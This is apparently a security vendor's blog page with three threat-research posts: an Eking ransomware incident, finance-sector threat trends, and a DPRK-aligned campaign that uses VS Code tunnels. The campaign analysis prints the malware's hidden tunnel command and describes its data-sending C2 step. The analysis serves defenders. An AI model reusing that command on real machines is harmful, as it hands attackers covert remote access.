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August 6, 2020

Ransomware-As-A-Service Threat: Eking Targets Government

Discover how Eking ransomware targeted a government organization in APAC. Learn about ransomware as a service & the cyber AI technology that stopped the threat.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO
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06
Aug 2020

Despite being widely recognized as a serious threat for a number of years, ransomware continues to persist. The total global cost of this threat vector is projected to reach $20 billion by 2021. With this level of financial return for attackers, it is no wonder that they continue to develop new strains of ransomware and advance their techniques to bypass security tools and ensure their campaigns are successful.

In the last few weeks, Darktrace’s AI has detected an attacker abusing off-the-shelf products to deploy ransomware at an African retailer, along with high-profile WastedLocker and Emotet attacks. Here, we look at Eking ransomware – a variant of the Phobos ransomware family – that targeted a government organization in the APAC region.

This attack was likely an example of Ransomware-as-a-Service (RaaS); a particularly concerning threat for security teams as it allows lower-level actors to get hold of sophisticated malware. This blog post breaks down Eking ransomware in detail, showing how Cyber AI enabled the defenders to recognize the anomalous behavior as soon as it occurred and stop the threat from advancing – and causing damage. It also shows how Darktrace’s Cyber AI Analyst autonomously investigated the broader security incident, generating an easy-to-understand and actionable report as the activity unfolded.

An overview of the attack

An internal server was infected with Eking ransomware via an attack vector outside of Darktrace’s visibility, most likely an employee clicking a malicious link within an email. Antigena Email would likely have identified suspicious characteristics of the email and stopped it from reaching employees’ inboxes, preventing the threat at the first hurdle. However, in this instance, the customer had only deployed Cyber AI across their network. This still enabled Darktrace’s Immune System to identify lateral movement and encryption activity indicative of ransomware.

The infected device began engaging in internal reconnaissance activity on a single internal subnet. This included SMB enumeration via the SRVSVC and winreg pipes, as well as extensive scanning over 10 commonly exploited ports. Indicators of Nmap were also detected during this phase of the attack.

About four and a half hours after this scanning concluded, the infected server began encrypting files on a second server. The device transitioned from making just a few internal connections per day to making thousands in less than an hour. This dramatic shift in behavior was immediately detected by Darktrace’s AI as highly threatening and the Cyber AI Analyst began autonomously investigating.

Figure 1: An overview of events

Internal reconnaissance and encryption – sometimes referred to as detonation – took place late at night local time. This may have been strategic on the part of the attackers, as the number of security professionals actively monitoring the network was probably lower, slowing the speed of the organization’s response. Endpoint defenses did not prevent the threat – likely indicating that this was a slightly modified strain of the Eking ransomware that was able to bypass these signature-based tools.

While Darktrace provides complete coverage across email, IoT, and cloud environments, business challenges or segmentation sometimes prevent security teams from obtaining full visibility across their organization. However, even when working with imperfect data and suboptimal coverage, Cyber AI still identified this threat as it emerged.

AI Analyst coverage

When the first model breach occurred, this triggered Darktrace’s Cyber AI Analyst to launch a real-time investigation into the events as they unfolded. Piecing together the lateral movement and the later encryption, the technology recognized that these separate events were part of a wider security narrative. It surfaced an incident summary and several key metrics for the security team to review and action a response.

Figure 2: Internal reconnaissance of the subnet over a number of sensitive ports

Figure 3: Encryption phase of the attack

Figure 4: A graph of connections and unusual activity demonstrating how significant of a deviation this activity was from normal device behavior

Off the shelf: The commercialization of cyber-crime

This incident demonstrates how the rise in Ransomware-as-a-Service is allowing lower-level threat actors to access sophisticated strains of ransomware as well as novel variants of well-known attacks. The cyber-crime market is estimated to be worth $1.6 billion, and this figure is only likely to rise as the relatively new ‘industry’ matures. As a result, the potential perpetrators of advanced cyber-attacks like the one detailed above are no longer confined to professional cyber-criminal rings, who have outsourced their tactics, techniques and procedures to a wider range of threat actors willing to pay the right price. As lower-level threat actors get access, more organizations will find themselves targeted by increasingly sophisticated threats.

Just this week, Darktrace observed a high-profile example of RaaS in a Sodinokibi ransomware attack that hit a retail organization in the US. The infected device engaged in anomalous administrative activities before writing an unusual executable file, sharing it with other internal locations and then encrypting multiple files on the network and writing its own ransom note files.

With ransomware attacks continuing to target organizations large and small, security teams are fundamentally changing their approach to cyber defense, turning to artificial intelligence to stop attacks that other tools miss. Without relying on pre-defined rules and signatures, Cyber AI learns a sense of ‘self’ for a unique organization to detect and respond to anomalous activity as soon as it occurs.

Fight back with Autonomous Response

Threat actors know that deploying ransomware at weekends or at night is more likely to succeed because an organization’s response time is typically slower. Darktrace’s Autonomous Response operates around the clock, taking a targeted and proportionate response to contain malicious activity wherever it occurs, whether in the network, email, or in cloud and SaaS applications.

Had Darktrace Antigena been deployed at this government in APAC, it would have taken action at the first stage of the attack – as the initial scanning took place – and prevented the malware from ever reaching the encryption stage. However, in this case, when the security team returned to the office the next morning, they were still able to act faster than they otherwise would have and limit the damage, thanks to the fully-investigated incident and actionable intelligence of the Cyber AI Analyst’s AI-powered investigations.

Thanks to Darktrace analyst Brian Evans for his insights on the above threat find.

Learn more about Autonomous Response

IoCs:

IoCComment.ekingEking encryption extension

Darktrace model detections:

  • Device / ICMP Address Scan
  • Unusual Activity / Unusual Internal Connections
  • Device / Network Scan - Low Anomaly Score
  • Device / Network Scan
  • Anomalous Connection / Unusual Internal Remote Desktop
  • Device / RDP Scan
  • Device / Suspicious Network Scan Activity
  • Anomalous Connection / SMB Enumeration
  • Anomalous Connection / Unusual Admin RDP Session
  • Device / Multiple Lateral Movement Model Breaches
  • Compromise / Ransomware / Suspicious SMB Activity
  • Compromise / Ransomware / Ransom or Offensive Words Written to SMB
  • Anomalous File / Internal / Additional Extension Appended to SMB File

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO

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January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

7. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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January 27, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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